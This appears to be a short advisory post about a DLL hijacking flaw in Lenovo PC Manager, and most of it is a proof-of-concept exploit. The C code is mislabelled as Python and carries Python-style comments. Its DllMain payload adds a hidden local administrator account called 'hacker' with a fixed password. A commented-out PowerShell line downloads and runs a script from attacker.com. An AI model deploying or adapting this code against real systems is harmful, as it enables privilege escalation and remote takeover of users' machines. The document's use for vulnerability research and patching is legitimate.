A potential DLL hijacking vulnerability was discovered in the Lenovo PC Manager during an internal security assessment that could allow a local authenticated user to execute code with elevated privileges.
The following code is for security research and authorized testing only.
python
# CVE-2025-10581 - Lenovo PC Manager DLL Hijacking PoC
# This is a conceptual proof-of-concept for DLL hijacking vulnerability
# Compile as a DLL and place it in the Lenovo PC Manager search path
#include <windows.h>
#include <stdio.h>
// Export the same functions as the legitimate DLL
// The DLL name should match a DLL loaded by Lenovo PC Manager
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
switch (reason) {
case DLL_PROCESS_ATTACH:
// Disable thread notifications for performance
DisableThreadLibraryCalls(hModule);
// Execute malicious payload with elevated privileges
// Since Lenovo PC Manager runs with high privileges,
// the payload executes in the same security context
// Example: Create a new admin user
system("net user hacker P@ssw0rd! /add");
system("net localgroup administrators hacker /add");
// Alternative: Reverse shell or other persistence mechanism
// WinExec("powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"", SW_HIDE);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// Export the original DLL's functions to maintain normal application behavior
// __declspec(dllexport) returntype FunctionName(parameters) { ... }